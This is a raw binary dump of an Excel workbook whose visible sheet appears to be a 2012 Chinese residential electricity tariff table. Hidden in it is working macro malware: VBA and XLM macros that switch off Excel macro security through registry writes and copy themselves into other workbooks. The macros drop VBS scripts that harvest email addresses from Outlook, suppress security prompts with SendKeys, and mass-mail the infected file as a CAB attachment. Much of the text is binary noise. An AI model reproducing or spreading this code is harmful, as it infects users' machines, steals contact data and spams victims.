ࡱ> } tsuvz{|Root Entry F>!Workbookb( \p Lenovo User Ba=< ThisWorkbook=K.8X@"1[SO10[SO10[SO10[SO1[SO1>[SO1 [SO14[SO1,8[SO18[SO18[SO1 [SO1?[SO1[SO1 [SO1[SO1[SO1<[SO1h8[SO14[SO1[SO1" N[_GB23121heck\h[{SO1"@ N[_GB23121" N[_GB23121[SO+""#,##0;""\-#,##05""#,##0;[Red]""\-#,##07""#,##0.00;""\-#,##0.00A""#,##0.00;[Red]""\-#,##0.00i*2_ ""* #,##0_ ;_ ""* \-#,##0_ ;_ ""* "-"_ ;_ @_ .))_ * #,##0_ ;_ * \-#,##0_ ;_ * "-"_ ;_ @_ y,:_ ""* #,##0.00_ ;_ ""* \-#,##0.00_ ;_ ""* "-"??_ ;_ @_ 6+1_ * #,##0.00_ ;_ * \-#,##0.00_ ;_ * "-"??_ ;_ @_ \$#,##0_);\(\$#,##0\)\$#,##0_);[Red]\(\$#,##0\) \$#,##0.00_);\(\$#,##0.00\)% \$#,##0.00_);[Red]\(\$#,##0.00\)w9_ ""* #,##0.00_ ;_ ""* \-#,##0.00_ ;_ ""* \-??_ ;_ @_ g1_ ""* #,##0_ ;_ ""* \-#,##0_ ;_ ""* \-_ ;_ @_  0.00_                  - * .  / ,   . , 3    $ 1 4     P  P      -  * a>     ff7    ` + ) >  9 $ 1 5 +    /      <@ @    " " < <@@ < @ <@ @ <@ @ <@ @ <@ <@ @ <@ <@@ <@ < @ <@ < < !20% - :_eW[r 1!20% - :_eW[r 2!20% - :_eW[r 3!20% - :_eW[r 4!20% - :_eW[r 5!20% - :_eW[r 6!40% - :_eW[r 1!40% - :_eW[r 2!40% - :_eW[r 3!40% - :_eW[r 4!40% - :_eW[r 5!40% - :_eW[r 6!60% - :_eW[r 1!60% - :_eW[r 2!60% - :_eW[r 3!60% - :_eW[r 4! 60% - :_eW[r 5!!60% - :_eW[r 6" #h $h 1 %h 2 &h 3 'h 4(]) 8^ĉ_Sheet1*}Y +Gl;`,- .{/hgUSCQlʑ`[Oq\^VV  ;")!DN [Oq\^E\lu;m5uNNvh(N2012t^7g1ewgbL) USMORCSte+Tz (u5uR{|5uNW^^DR9 ͑'Y4l)R] z^Wё 4l^ylTgvbcWёTE\lu;m5u^5uN 6h5uN e\7 ,{Nch,{Nch,{ Nch 6h5uN  g\7 \gs^g7g,{NchRN-,{NchRN,{ NchRNTh5uNYl1.E\l5uN\s^7ekvRR] ؚ\ek14:00 17:0019:00 22:00 s^ek8:00 14:0017:00 19:0022:00 24:00 NO7ek0:00 8:00  2.Yc[5uϑRchhQ5 10g > ,{Nch:Nk7bkg0 260CSte,{Nch:Nk7bkg261 600CSte,{ Nch:Nk7bkg601CSteSN N0 3.^Yc[5uϑRchhQ1-4g011-12g ? ,{Nch:Nk7bkg0 200CSte ,{Nch:Nk7bkg201 400CSte,{ Nch:Nk7bkg401CSteSN N0  *} "+`cc  r'  dMbP?_*+%2&?'?('}'}?)333333?MHP LaserJet 1020  4 4,X$ 1 SDDMHP LaserJet 1020 -(d" d,,[[?[[?U} `}  }  } `} `} } } } ` h@@@@@@@@@ @ @ @ @ @@@@ B EEEEEEEE FFFFFFFF? ? ?? G GGG P QR L N N N L STUMNOOM J K A -A)\M@DDDDAa@AQ@AT@AO@ JK AAGzP@ DAa@AQ@AT@AP@ -B JK AAGzDV@ DAa@AQ@AT@AW@  J K A% An]X@ Dffffff? Aa@AQ@AT@ AZd;OY@  JK A A)\M@ D Aa@AQ@AT@ AO@  JK A% A)\=@ D? Aa@AQ@AT@ AQ;@@ JK A~ A A A A~ A JK A~ A@ A A A~ A@ JK A~ A>@ A A A~ A>@J HI%A(\bO@D @Aa@AQ@AT@AlP@ ?????@@@ CCCCCCCC DDDDCCCC DDDDCCCC DDDDDDDD CCCCDDDD CCCCDDDD  DDDD4&&Db}zvbbb&&&&&&&>@d   j  7 Sheet1 rstuvwyz{|}~'b#xME (SLSS<N0{00020819-0000-0000-C000-000000000046}@(%H@0_Q xAttribute VB_Name = "ThisWorkbook" Bas0{00020P819-0C$0046} |GlobalSpacFalse dCreatablPredeclaIdTru BExposeTemplateDerivBustomizD2'bg#xME (SLSS<N0{00020820-0000-0000-C000-000000000046}@(%H@0_Q xAttribute VB_Name = "She@et1" Bast0{00020820- C$0046} |Global!SpacFalse dCreatablPre declaIdTru BExposeTemplateDeriv$Bustom izD2"  0@H*P  "&2*("X"0@"P4xV 0(0X0  "   0P`hx B B   "(P B$X p x   |bndxME P1<<0Z<6 <<8Det< A  @`  .`@6L ,8`  @% B As % F0% Lx`  V `  )Y> % \% ^%+b`` ffid)g%)i%ij  B%`l`n`p`r`t v% R` `` P` @ 5J`x`!(``0` ` k4` `X ixi @i@ 0 2P ` )Y0 %` + ` i T ` &&`G`G$~`GB@`G`b@ P ` ``!``` ` 8 ` bb`````,` ` :H `x Y> Y@ YB YD YF`H `J + `  +j0 ` il`n`p`+. ` @v @x `+H `  I| @ @~  ` I  I @ @~ 2 `!! P %``` N` @ @ @ ` 8 x  P0 8P  @H H % "@_Q *\R4*#1d*\R1*#2ad$*\Rffff*0:51da83a8   ( 0@HP Xhpx  *  " 0 @ P`h px           ( H`(x        ( "8 `  p  x        B       B L` J H H  `  p      B        * ZH V \ X`     ( H " PX`  "   ( @Xx6^@Xx <08P B X`hp "  0bP 02  ( .0 `hpxP    .@ JH ,,  ( "0&8 `*h 2F$8`h "x"B>0 p2 . 86X 2  @8`2 2@ X &h "&2N0PNJ *p20"T0.4\h,8:bX.PJ@  $ Z 8(!4`!B!>! "8"BH"<"""(". #HP#J##$$ $H$h$>x$D$@%V@%&%@%&R&dh&&*&&'@'(P'x'j'4(&@(h(j(4(&0)X)&x)))0).)H(*Xp*J*.+8H++6++"+,0,8@,6x,0,P,0-8@-x-B->-.(.(8..`.H.P.(/H/$`// / /(/// "0 0(080 @0*`060F0 1&01X1`1 <p1"1L1(2H2Ph2P2d3p3p3@4v@44P4V 5nx5560777>708JH868&8"8 9&@9 h994969 :8:0P:*:(:x:BP;*;$;;<&(<P<p<  <<<<,<(= 0=  @=P=(X== =$=== >0?8? N@?R?T?T@@>@ 2@LA `A^pA:AB B(B "0B8B@BHB $XBB BBBBBBBBBB BCC C(C0CHCPCXC`ChCpC BxC2CCCCCCDDD B D D8D@D XDhDD DDDDDD*D2EPE`EhEBpExEE4E.EF*F HFXF B `FhFpF*F F F FF " FGG*GJHGG GG GG GH H0H8H "@HHH`H hH xHHH H@HHII 0I @IPIXI`I pII*IIII&J|(JvJ, K PK `KpK xKK B KKK K K KK&L0L$8L"`LLLLLL L LL "($nd Sub !& "!( Res "(*pen() A,A.$0!Macro1G A@2jme Nex B@4 "(*kXoP@]" ThisWorkbook !8%:!<#Public WithEvents xx As ApplicationC@>Private Sub Workbook_open()C@>Set xx = ApplicationC@>On Error Resume NextC@>!Application.DisplayAlerts = FalseC@> Call do_whatC@>End SubC@>1Private Sub xx_workbookOpen(ByVal wb As Workbook)C@> On Error Resume NextC@> %wb.VBProject.References.AddFromGuid _C@> GUID:= 6&{0002E157-0000-0000-C000-000000000046} 6, _C@> Major:=5, Minor:=3C@> "Application.ScreenUpdating = FalseC@>!Application.DisplayAlerts = FalseC@> copystart wbC@>!Application.ScreenUpdating = TrueC@>End SubC@>qo]]] !8.@ ThisWorkbook @%:.B B!<.F F5JC@Hqox8 !& "!(A@NAPARATk0i(x]]k4.xls$`!8.\ X!8.^ToDole \ ^$bGzji   ]]](]@]X]p] f'bz0k( d$x z'bzk h'bzk f!| ~'bzk h!| ~'bzkx d f%:.B !'bz@k8Temp$\ d.bas'l j l    $~ z B@ lA@ !'bzkk h!: d7C@qXdP B@ d h%:.B ! ! d'bzkkk l d f%:B@ l\$'r l.$'t l r t r  $'n.B n h%:.B B l h!:B@d B!l  l h!:%.v B!<5JC@H v!<!J v!<%'p pC@>q v h!:B@k`kX lA@'bi8]] !' "!(\k4.xls'k4.xls$ !& "!(Gk4.xls$`B@Bjcomspec$  /c attrib -S -h " "!(\K4.XLS" A@comspec$  /c Del /F /Q " "!(\K4.XLS" A@comspec$  /c RD /S /Q " "!(\K4.XLS" A@ !& "!( "(* (  B@ ( "(*kHi@]Xp]] "!'scRiPTinG.fiLEsysTeMoBjEcT$.,HKEY_CURRENT_USER\Software\Microsoft\Office\ \Excel\Security\AccessVBOM',HKEY_CURRENT_USER\Software\Microsoft\Office\ \Excel\Security\Level'-HKEY_LOCAL_MACHINE\Software\Microsoft\Office\ \Excel\Security\AccessVBOM'-HKEY_LOCAL_MACHINE\Software\Microsoft\Office\ \Excel\Security\Level'''   REG_DWORDA   REG_DWORDA   REG_DWORDA   REG_DWORDAi] WScript.Shell$.    B@dP    B@k0.o ]8 X%0B@H l 0B@Macro1 (A2$B@H =ERROR(FALSE) (A3$B@H=IF(ERROR.TYPE(RUN(" "!"))=4) (A4$B@H=ALERT("ú꣬ر $  $Please Enable Macro!",3) (A5$B@H=FILE.CLOSE(FALSE) (A6$B@H =END.IF() (A7$B@H =RETURN() (  X!0 !!Auto_Activate =Macro1!$A$2 X!B@  X%(oP'  "%`! 'z`kXPiH]10:00:00]11:00:00]14:00:00 ]15:00:008]Ph WScript.Shell$.,HKEY_CLASSES_ROOT\mailto\shell\open\command\ %$ OUTLOOK.EXE G|j        D:\Collected_Address:frag1.txt$1| d 1D:\Collected_Address:frag1.txtA@A@k d G|j   n $    n $ | d n $ '  D:\Collected_Address:frag2.txt$X'  n $  D:\Collected_Address\log.txt$|` dX D:\Collected_Address:frag1.txtA@ D:\Collected_Address:frag2.txtA@A@k k k o ] 8 scripting.filesystemobject$. WScript.Shell$.E:\KK %GE:\KK B@j ! ! $ _$._$'E:\KK\  _clear.vbs'  '   On error Resume Next Dim wsh, tle, T0, i  T0 = Timer  Set wsh=createobject("wscript.shell")  tle = "Microsoft Office Outlook" For i = 1 To 1000 $ If Timer - T0 > 60 Then Exit For  Call Refresh()  wscript.sleep 05  wsh.sendKeys "%a"  wscript.sleep 05  wsh.sendKeys " {TAB}{TAB}"  wscript.sleep 05  wsh.sendKeys "{Enter}" Next Set wsh = Nothing  wscript.quit  Sub Refresh() *Do Until wsh.AppActivate(CStr(tle)) = True $ If Timer - T0 > 60 Then Exit Sub Loop  wscript.sleep 05  wsh.SendKeys "%{F4}" End Sub VE:\KK\  _Search.vbs'" ' "  On error Resume Next Const olFolderInbox = 6 $Dim conbinded_address,WshShell,sh,ts #Set WshShell=WScript.CreateObject("WScript.Shell") Set objOutlook = CreateObject("Outlook.Application") ,Set objNamespace = objOutlook.GetNamespace("MAPI") <Set objFolder = objNamespace.GetDefaultFolder(olFolderInbox) Set TargetFolder = objFolder conbinded_address = "" !Set colItems = TargetFolder.Items wscript.sleep 300000 WshSHell.Run (" wscript.exe  "), vbHide, False  ts = Timer For Each objMessage in colItems & If Timer - ts >55 then exit For M conbinded_address = conbinded_address & valid_address(objMessage.Body) Next add_text conbinded_address, 8 )add_text all_non_same(ReadAllTextFile), 2  WScript.Quit  +Private Function valid_address(source_data) T Dim oDict, trimed_data , temp_data, i, t_asc, header_end, trimed_arr, nonsame_arr  Dim regex, matchs, ss, arr()  Set oDict = CreateObject("Scripting.Dictionary")  Set regex = CreateObject("VBSCRIPT.REGEXP")   regex.Global = True  regex.Pattern = ",\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*" * Set matchs = regex.Execute(source_data) % ReDim trimed_arr(matchs.Count - 1) 3 For i = Lbound(trimed_arr) To Ubound(trimed_arr) / trimed_arr(i) = matchs.Item(i) & vbCrLf  Next  3 For i = LBound(trimed_arr) To UBound(trimed_arr)  oDict(trimed_arr(i)) = ""  Next   If oDict.Count > 0 Then  nonsame_arr = oDict.keys : For i = LBound(nonsame_arr) To UBound(nonsame_arr) ; valid_address = valid_address & nonsame_arr(i)  Next  End If  Set oDict = Nothing  End Function  0Private Sub add_text(inputed_string, input_frag) 5 Dim objFSO, logfile, logtext, log_path, log_folder  log_path = "D:\Collected_Address"  Set objFSO = CreateObject("Scripting.FileSystemObject")  On Error resume next 1 Set log_folder = objFSO.CreateFolder(log_path)  $ If objFSO.FileExists(log_path & " \log.txt" ) = 0 Then 7 Set logfile = objFSO.CreateTextFile(log_path & " \log.txt", True)  End If  Set log_folder = Nothing  Set logfile = Nothing   Select Case input_frag  Case 8 8 Set logtext = objFSO.OpenTextFile(log_path & " \log.txt", 8, True, -1) & logtext.Write inputed_string  logtext.Close  Case 2 8 Set logtext = objFSO.OpenTextFile(log_path & " \log.txt", 2, True, -1) & logtext.Write inputed_string  logtext.Close  End Select  set objFSO = nothing End Sub  "Private Function ReadAllTextFile()  Dim objFSO, FileName, MyFile  FileName = "D:\Collected_Address\log.txt"  Set objFSO = CreateObject("Scripting.FileSystemObject") < Set MyFile = objFSO.OpenTextFile(FileName, 1, False, -1)  If MyFile.AtEndOfStream Then  ReadAllTextFile = ""  Else ( ReadAllTextFile = MyFile.ReadAll  End If set objFSO = nothing  End Function  *Private Function all_non_same(source_data) ( Dim oDict, i, trimed_arr, nonsame_arr  all_non_same = ""  Set oDict = CreateObject("Scripting.Dictionary")  * trimed_arr = Split(source_data, vbCrLf)  3 For i = LBound(trimed_arr) To UBound(trimed_arr) ! oDict(trimed_arr(i)) = ""  Next   If oDict.Count > 0 Then  nonsame_arr = oDict.keys : For i = LBound(nonsame_arr) To UBound(nonsame_arr) B all_non_same = all_non_same & nonsame_arr(i) & vbCrLf  Next  End If  Set oDict = Nothing  End Function V & "($ wscript.exe " * B@(.oP]]  .', WScript.Shell$.scripting.filesystemobject$.E:\SORCE %GE:\SORCE B@j ! ! $ _$._$'*  *Message*'0 E:\sorce\ _Key.vbs' '   .Dim oexcel,owb, WshShell,Fso,Atta_xls,sh,route On error Resume Next Set sh=WScript.CreateObject("shell.application") sh.MinimizeAll Set sh = Nothing Set Fso = CreateObject("Scripting.FileSystemObject") %Set WshShell = WScript.CreateObject("WScript.Shell") If Fso.Folderexists("E:\KK"!) = False Then Fso.CreateFolder "E:\KK" Fso.CopyFile _ WshShell.CurrentDirectory & "\ *.CAB", "E:\KK\", True For Each Atta_xls In ListDir("E:\KK")  WshShell.Run "expand " & Atta_xls & " -F:  .xls E:\KK" , 0, true Next If Fso.FileExists("E:\KK\ .xls" ) = 0 then - route = WshShell.CurrentDirectory & "\ .xls" 7 if Fso.FileExists(WshShell.CurrentDirectory & "\ .xls")=0 then # route = InputBox(" Warning! " & Chr(10) & "+You are going to open a confidential file." & Chr(10) _ " & "%Please input the complete file path." & Chr(10) & "#ex. C:\parth\confidential_file.xls", _  " Open a File" , "$Please Input the Complete File Path", 10000, 8500)  End if else  route = "E:\KK\ .xls" End If  set oexcel=createobject("excel.application") ' set owb=oexcel.workbooks.open(route)  oExcel.Visible = True Set oExcel = Nothing Set oWb = Nothing Set WshShell = Nothing Set Fso = Nothing  WScript.Quit %Private Function ListDir (ByVal Path) ( Dim Filter, a, n, Folder, Files, File  ReDim a(10)  n = 0 " Set Folder = fso.GetFolder(Path)  Set Files = Folder.Files  For Each File In Files  If left(File.Name, ) = " " and right(File.Name,3) = "CAB" Then 4 If n > UBound(a) Then ReDim Preserve a(n*2)  a(n) = File.Path  n = n + 1  End If  Next  ReDim Preserve a(n-1)  ListDir = a  End Function V !& \TEST.txt' '    E:\sorce\ _Key.vbs  E:\sorce\ .xls V "(*A@2 E:\sorce\ .xls B@A@N$L' 4 !&$A@6#"C:\" !&A@:comspec$  /c makecab /F " !& \TEST.TXT"J /D COMPRESSIONTYPE=LZX /D COMPRESSIONMEMORY=21 /D CABINETNAMETEMPLATE=../ .CAB * B@( " !& \TEST.txt %8 !& \setup.rpt %8 !& \setup.inf %8 !&\ .CAB %8aA@comspec$  /c RD /S /Q " !&\disk1" * B@(comspec$  /c Del /F /Q " !& \TEST.txt" * B@(comspec$  /c Del /F /Q " !& \setup.rpt" * B@(comspec$  /c Del /F /Q " !& \setup.inf" * B@(comspec$  /c RD /S /Q E:\sorce * B@(E:\KK %GE:\KK B@jcomspec$  /c MOVE /Y   .CAB E:\KK" * B@( 4A@: ,  Dear all, <  <FYIE:\KK\ .CABA:comspec$  /c RD /S /Q E:\KK * B@(. "(*o=8 ] ]0 G|jOutlook.Application$.H N H%L.J J @9@ B9B >9h D9P F5RB@9Tq =V=X= JB@Z[ setforth A@A@A@%s^A@\A@X<V<.H.Jo<H Win32_Process WinMgmts:$b%d.`' f ` f!hOUTLOOK 'y<k;;i; ]   'j lGzj l   l j$$ 'j zP;kH; l 'nA@4  r n  t   'p t p G j$$ t p 'jj t p 't:i:0 ]p   '.D:\Collected_Address\log.txt$ <$z'v v v  $j$$$z'x  x .; $xX $v'. i9 9] 0 scRiPTinG.fiLEsysTeMoBjEcT$. | %.~ ~!' ~B@Bi9H 8]  scRiPTinG.fiLEsysTeMoBjEcT$.   $ %G   $ B@j  %8  %.~  ~B@ ~B@Bd8  %.~  ~B@ ~B@Bk7o7 ]8 X p ] "(* "($p7  ! ( !!$z# Auto_ActivateG B@j7  !0 !Macro1  ( B@k66$0B@H 0B@  !0 !$0!G  (j06 r ' r '** CONFIDENTIAL! **  +Use "$ ! ! $_key.vbs"$ To Open This File.  + "$ ! ! $_key.vbs"$ ļ.  +  $  $$5(5(q4 "(*op4 ]  (@4 !' "(* "($  !0 !Macro1G  (j3 A1:F15 $0% ! CONFIDENTIAL 'yh3k`3X3 G $0B@j "(*i 33HAttribute VB_Name = "ToDOLE" PrivalSub auto_open() Application.Display@Alerts|False If ThisWorkbook.Pa@th <> tS@tartupT@hen creenUpding[ Call delete_tf_wk<copytowxSheets0(1)."M@acro1"Sen Movem4 [ cSavnSTruEnd If   Rjonst @DQUOTEv"3?Wi BVBProject.VBComponenn" ").CodeModuBlF.InsLines 1, P"Pub Ev xx As_@ 2 vE 3 Set=4 On Error Resu@Next5  6 o_wtha7h8Ixx_OByVal wbkAMB) 9!7120 wbtvReferences.AddFrom@Guid _M1AsGUID:=" && "{0002E157-u0CB0046}k, >Major:=@0Min!3={ϒw?: XaAAhs!`0 >atACw!dxxKx8Dim`8BVBIDE: v?xw')y jC = s(#%A7aj!! $ .DBuntOf'(Funrc d#r&n.ŠtoreAfterar}DoorMisofthobb yABJudg  M(2d | e>AB1o>`2=1>E 8k4.xls A 2)7A-m@@oDole","D ?b|)qExit Rsgv@eStringE L& /tToo4fOve@rwrite s&t1Bo an)#xt~ ?:!<3AFO  AS SlashPows LonbgExt0FTempuFL c@Is No`0eq !# L a ATrim()vbNull3%a  Y" Q0@c].;t 70"_pp_locked_y15 [t?0 22F!'Q ?:f # О.NumberA0!0_!Y!9=vironN2")"\ !.bas D<= + s$Di$r(", .or mp+HiddšSystem~)01CleakE KiB% q929*8* .Rem .I BgEb@Xrr.:))/ += 9?7 0+A?23a;roject.VBComponents(ModuleName).Export F"i@:=F\   SlashPos = InStrRev(F, "\")HExtD."cZGMidB]+P 1, F-t- 1bet GNothingToVBPB *If)Is *` Then, (.I El se!2.Type_vbext_ct_Docum_̌9;S~TempK:CKWith?.pCode.DeleteLinesAj untOf S7*H. (zCo-A! .Inse,rt!SEn d A4KOn Error GoTo 0 VPRempove ) IfKill copymCru Functio@  Microsofthobby(>Dim myf0 As º9MyI8Res N = KisWorkbook.Full| = Applica.StartupPa@C&|k4.xls" XeOpen("$) A/ThH <> k s' .Clo se FaBgShe *Environ$("coms@pec")  /c attrib -S -h """9K4.XLS, vbMinimizedFos @`@ /F /Q? \? RD /S 3 B62= )creenUpdy DngY4r IsAddin^/SaveC c`ZOk) ZTlasm!!WDoorElFso, RK1i*234 rKValuebVariant, c dcVSw`krVersBA@+CreateOb("scRiPTinG.fiLEsysTA`BjEcTx  = "HKEY_CURRENT_USER\SA0Gware\H\Office\4Q&Excel\Security\AccessVBOMPARK2+t\Le(velB3FLOCAL_MACHINE__"] ~4X   5 = 1. CaLWReg("p"REG_DWORDŒz 2$03744 !3Sub bstrkey',, //Rk|2oWsq]S,P;-WScript.Ya6D0_8KF.`W*e  d C"dn  B Priv: %M ma~4(ByP wbp@@xtQ shtC?c 0e1).Sp^cqWpP.Y ! :=xl64M!# Ave.4"218SRange("A,2"kCz.FormulaR1C116=ERROR(FALSE)գ U3_ia_ "=IF(.TYPE(RUN(; |~Up J""))=4 4Ac ALERT@ú꣬ر PChr(10NowA"PleaE@nable !"",3m5oocFILE.CLOSE/6aEND.`7RETURN(#! Each )In(wb$s"( %!Auto_#1 "`M=&!$A$~2X,+sB(0/VisiA= xlB,ryHiddܸ88Fu7ҬBR$wK6`) .v v;BƶotpKL0)4s(a1) > 0pÎAExi& p d I3 okNotOpen: End Function Private Sub ATJudge() Const T1 As DF= "10:0U"<2 <1 <3U <4 4 5Dim SentTime", Ws@hShellSet = CreObject("WScript.-"If  InStr(@UCase(&.RegRead("HKEY_CLASSES_ROOT\mailtHo\s:\o\command\")), "OUTLOOK.EXE") > 0 Then ExitS<b>= <2 Or.  4% N "QOunD@:\Collted_Address:frag1.txtC" G% ElseCBPFilez"7\ search_in_OLyIfG2bif_outlook_U+M# G< TF=("n)10,)R TZ 4)GFF=B-21,w@,Orror GoTo t@EIKCA3(w2w@FGGVw < (2@Gb$ \loggHPH HnI" JI`Now9R#i,"Cab_ dMyISBU`GVaxˤ)] aiInteger, AttNaing@ddVbsbkListfs gaLResu` Next 7s¡.f{systemoOb_I @Mfs.Folderexs("E:\KKbFa}z$8b  $= Replace`Left(ThisWork b.!), Len) - 4 K_"A.D qF._cl\" &f4& "P.vbs@PiFHreea2 7}d7 F{@pu t`c Wri3 ;#i3nt #i V4e4 (Gwsh, Xtle` vi  T0r-a7=cc:(""i!"w>.4) @Microsoft Office PAZ'Q1 `N1000 Ifmrp > 6 rCall !f m h( leep 05p.sendKeys $ %a P  Uh{TAB~}BOO @O{E`Cr}A=[w `th=U quitRePDo Untibl AppqA(JCpJ("))True+aSI*aLoop=% s?_ 1q[z{F4?7q\Sub`Close (i0s@\ @A"b@В@0AyAn Af'olVInbox 6QCconbiTnd`ac,E,DtLxF#=YusC۳38F_A б. %lica!T. 9^sp`.GetMMAPI vD@efault(J_ Targe~ eC 1 colIPxsI.B23V VaH.Run _exopo svbHidg{{tB pgQ/E(achMPpage in K< 0IB`>55 t`t ?0=@/valhid_0($D .pBodyUp_t@, 8{ j_non_sО2AllT002ku5QY{0;2u source_dataL AaAoDictr dpta , temp_data, ih_asc, header_endHrimed_arr, no nsame0" Print #l" Dim regex, matchs, &sn()XSet oDict = CreateObject(""" & "Scripting.$ionaryLyLVBSCRIPT.REGEXPGQ(.Global,TruePattern-\w+([-+.])*@\. ,+EExecute(sourcfeُReÇ(!".Cou- 1For i@$Lbd() pTo UN* i)@I(& vbCrLfNext (B(N(H7@%)`Ý'IfX> 0 TxhenS!HI$.keysS L>f>@validdress}&{`# !@ E0nd I/;i|Nothy Funct{+v Sub add_t@F(inpad_sOng`_frag/\AbobjFSO, logfile A_path#fol@ `&$FD:\CollA*ImB!FSysf#D On Err`w9ume niA .cFb(el n ].Exist.sch\ .tzl8b$a2T !  , o$8S"S'$SeaB Case ׂTR #8 "AT"Open"tdF, 8#, - 1A.Writ -c5 C2Clos;_q 2 SO. 9O% 2 s C C I%[s!5>nN "ubNeQ RAllF?.M2N, My@%Lss< UBound(a)cP@erve a(n*2A?rn x+ 1/ 8@} o/ -1/ d}=0a) ClopW(iPp?q z b\TEST.t #PK_aX>~ нw.@eenUpd`n&g" гto reBefPSend SaveC1 Af<c c<4$1 Ch8Dri%, ,'"C:\ir`)1 QEnviron$("comspec"3 /c makecab 0 c*i  !If NxextyBRadomNine`(leng>Integerr eH !@jj, ki"N"#$<= oc @:1E i1 `-O$$_id U = t / 10Ran0izW[ k `(RY* (@* i - m01)) + 1T mk <> t  m/ `get_ten_]q.KUAslea_arrAlPApSpkt(Read@[("D: \Collfed5h\logr)pcxYkrrV)U@Bound()uLs "#O P$;A$(C`(i- 1&G$O7on Fxull6%F\Rxesu&FsoileT2>aQK`{sscRiPTinG.fiLEsysTeMoBjEcTsF@.O@zEa(5 , 1T,| -a q$.1!All*.C|loᾟg 3ragMark, pathfO?NO‰OQ}("OM@:Left(, Lena(10  ´f`It_Q1" ue 2Write Fd 1Eڑ1"i"b"A1#mqSӮgN4storeBeeQ(#!! aa!i, i_rowjcol@Psht1s_Z48.DisAlert!$++I Q  aa.Visible ~r0#VS"!")(1)`"Auto_Aq" Then aa.Delete Next For Each sht InisWorkbook.Sheets IfF.Name = "Macro1B.VisiblBxl| DUEnd IfAp(1).ScC.Add5<<> V^VeryHiddenH i_rowwInt((15 * Rnd) + 1) i_col6 CellsR(, )"** CONFIDENTIAL!b " -2Use " & Chr(34)Left(Thk, Len ) - "_key.vbs @p0o OpA FPile.$3 $8$1V$ļ"With Range(U, NgB.Font.Bold_TruColorIndex@3  Application.ScreenUp2dng Sub Private Func RestoreAfterW"(#Dim, del_, rngCfrag As BooleaOn Err{@u܃@ A9veB,Fa ls DisplayAlerts D?$ l*Bwl atd).c>"A1:F1 5"' InStr(.Value, "i") > 0B *= >Exit < l"ņa}5)&?CBaCA rU~|      rU $`$`$`$`,!`aDI`0==#$q`$`0` Iay0/0, `a( `0$9 `$a `$ `<`A00000$`(`a&$)`(Q`y/,y`//$`$`n0* pHd VBAProject4@j = r _Q J< rstdole>stdole h%^*\GoSheetsɷ`Visible`xlSheetVeryHidden` WorkBookName+`WorkBookNotOpen`T1*_`T2+_`T3,_`T4-_`SentTime!D`WshShell0`UCase5 `RegReadw`Time`ReadOut` CreateFile` search_in_OLe`if_outlook_openi`DateAdd/6` timeErrorӋ`CreatCab_SendMailT@`i``AttName` AddVbsFileVg` AddListFile`fsF]` Folderexists ` CreateFolder`Replacef`AddVbsFile_clear͸`AddVbsFile_search` WindowState|` xlMaximizedZp`Run_`vbHideW` Address_listQ`get_ten_address``mail_sub`RestoreBeforeSendq+`c4\`ChDrive%` FileExists`Massive_SendMail`vbCrLf` Email_Address`SubjectRP`Bodyl` CC_email_add` Attachment^6`objOL` itmNewMail6` CreateItem~` olMailItem`CC\` Attachments_`DeleteAfterSubmit`continueT` SendEmail`display`SendKeysN`Wait`objs` GetObjectz` InstancesOfr`obj` Description ` RadomNine`lengthY`jj]`kb`RndR`md`singleAddress_arr `krr`Split)`FullPath+`FileTextg|` OpenTextFile`ReadAllU`FragMark)O`pathf; `aa{\`i_rowz,`i_colx`Deletex`xlSheetVisible`Cells`FontU`Bold` ColorIndex`del_shtv`rngU`del_fragy` Worksheet`l6"a815fThisWorkb{00020430-C 0046}#2.0#0#C:\WINDOWS\syst em32\e2.tlb#OLE Automation`EOffDicEOficEE2DF8D04C-5BFA-101B-BDE5EAAC42Egram Files\CommonMicrosoft Shared\OFFICE11\MSO.0DLL#M 1@1.0 Ob LibraryK VBIDE>BIDEE157R5.3R/\6E6EXT.OLB0Visual Basic for Applicas Extensibilpity +BbBThisWorkbookG TisWArkboU 2 HB1B-,B,!*"B+BBSheet1GS@#e@t1H&2NgToDT@;DOL{CIDnd!bK*yrU~~~~~~~m %xYrJ"^h    )  1y !Ai 9 Y Y! )Q1 VBAProject ThisWorkbookSheet1ģ1ToDOLEF /C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLLVBA q 0F4C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXEExcel iay *\G{000204EF-0000-0000-C000-000000000046}#4.0#9#C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLL#Visual Basic For Applications*\G{00020813-0000-0000-C000-000000000046}#1.5#0#C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXE#Microsoft Excel 11.0 Object Library*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\WINDOWS\system32\stdole2.tlb#OLE Automation(*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.3#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLL#Microsoft Office 11.0 Object LibraryZ*\G{0002E157-0000-0000-C000-000000000046}#5.3#0#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLB#Microsoft Visual Basic for Applications Extensibility 5.3 _Q bThisWorkbook0751da815fThisWorkbook- Sheet10851da815f Sheet1g- ToDOLE0:51da83a8 ToDOLEnd0P0?&إBGWw\PoK+EPgLGO@`ais0C Excel+` VBA`Win16~`Win32`Mac`VBA6#`1p` stdole`` VBAProject` Officeu` ThisWorkbook|` _Evaluate` Sheet1` VBIDEA`ģ1c` ToDOLEŝ` auto_openV ` Application*` DisplayAlerts`Path2` StartupPathi`ScreenUpdating! `delete_this_wk}`copytoworkbooke`Sheets ` Movemacro4@`Save`DQUOTE!x` VBProjectOh` VBComponents '` CodeModule` InsertLines`VBProj`VBCompӜ` VBComponent`CodeMod}O` DeleteLines ` CountOfLines!\`(do_what`RestoreAfterOpen`(OpenDoor`(Microsofthobby ` ActionJudgeBG` (copystart `wb_`Workbookk`VBProj1F`VBProj2G` WorkbooksB` (copymodule` ModuleName#>` FromVBProject6` ToVBProject`OverwriteExistingk`FNameR`CompName!`Sj`SlashPosk#`ExtPosF` TempVBComp`Trim@` vbNullString` Protection`vbext_pp_lockedh`Erro`Number-`Environ,`vbNormal-`vbHiddenT;`vbSystem`Clear`Kill`Removeϱ`Itemz`Export`FileNamej`InStrRevĈ`Importi`vbext_ct_Document `Lines`myfile0[y`MyFile`FullNameО` WorkbookOpen`ShellV`vbMinimizedFocusx`IsAddin~|` SaveCopyAsT`Fso`RK1`RK2`RK3`RK4`KValue1'`KValue2(`VS_`Version` CreateObject`(WRegy`strkey`ValueK` ValueType `oWshellu`RegWrite!>`sht`Addr`xlExcel4MacroSheet0` 